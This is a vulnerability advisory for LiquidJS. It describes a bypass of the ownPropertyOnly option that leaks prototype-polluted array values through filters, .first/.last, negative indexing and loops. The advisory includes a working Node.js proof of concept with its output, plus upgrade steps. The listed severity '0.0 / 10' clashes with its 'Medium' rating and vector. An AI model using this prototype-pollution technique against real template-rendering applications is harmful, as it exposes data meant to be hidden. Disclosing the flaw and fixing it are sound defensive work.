GHSA-fwxr-j5w2-587m CVE-2026-106120
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.19% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- Fix
10.27.2- Upgrade liquidjs to this version or later
Description
Summary
LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data.
With ownPropertyOnly: true, direct access such as:
{{ a[0] }}
correctly blocks an inherited array index. However, the same inherited value is still disclosed through:
.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact
Impact
This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.
Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.
Proof of concept
const { Liquid } = require("liquidjs");
const engine = new Liquid({ ownPropertyOnly: true });
Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";
const a = [];
a.length = 1;
const o = {};
for (const [src, scope] of [
["{{ a[0] }}", { a }],
["{{ a[-1] }}", { a }],
["{{ o.secret }}", { o }],
["{{ a.first }}", { a }],
["{{ a.last }}", { a }],
["{{ a | first }}", { a }],
["{{ a | last }}", { a }],
["{{ a | join: ',' }}", { a }],
["{{ a | reverse | first }}", { a }],
["{{ a | slice: 0, 1 | join: ',' }}", { a }],
["{{ a | compact | join: ',' }}", { a }],
["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}
delete Array.prototype[0];
delete Object.prototype.secret;
Observed behavior
{{ a[0] }} => ""
{{ a[-1] }} => "ARRAY_PROTO_POLLUTED"
{{ o.secret }} => ""
{{ a.first }} => "ARRAY_PROTO_POLLUTED"
{{ a.last }} => "ARRAY_PROTO_POLLUTED"
{{ a | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | last }} => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]"
Expected behavior
When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:
{{ a[0] }}
{{ o.secret }}
Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.
Root cause
ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.
Examples include:
negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices
Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| liquidjs | < 10.27.2 |
10.27.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
liquidjs npm → 10.27.2
- npm
npm install liquidjs@10.27.2- yarn
yarn add liquidjs@10.27.2- pnpm
pnpm add liquidjs@10.27.2
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-4r6h-5v86-94p3 LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process | High | Also affects liquidjs |
| GHSA-m7fp-h3p4-hr49 LiquidJS has an infinite loop vulnerability in its `strip_html` filter | High | Also affects liquidjs |
| GHSA-g357-x5c3-c72p LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce | High | Also affects liquidjs |
| GHSA-gf2q-c269-pqgc LiquidJS is Vulnerable to Remote Code Execution | Critical | Also affects liquidjs |
| GHSA-r7g9-xpmj-5fcq LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex | High | Also affects liquidjs |
| GHSA-hh27-hf48-9f5q LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) | High | Also affects liquidjs |
| GHSA-9x9p-qf8f-mvjg LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()` | Medium | Also affects liquidjs |
| GHSA-8xx9-69p8-7jp3 LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body | Medium | Also affects liquidjs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor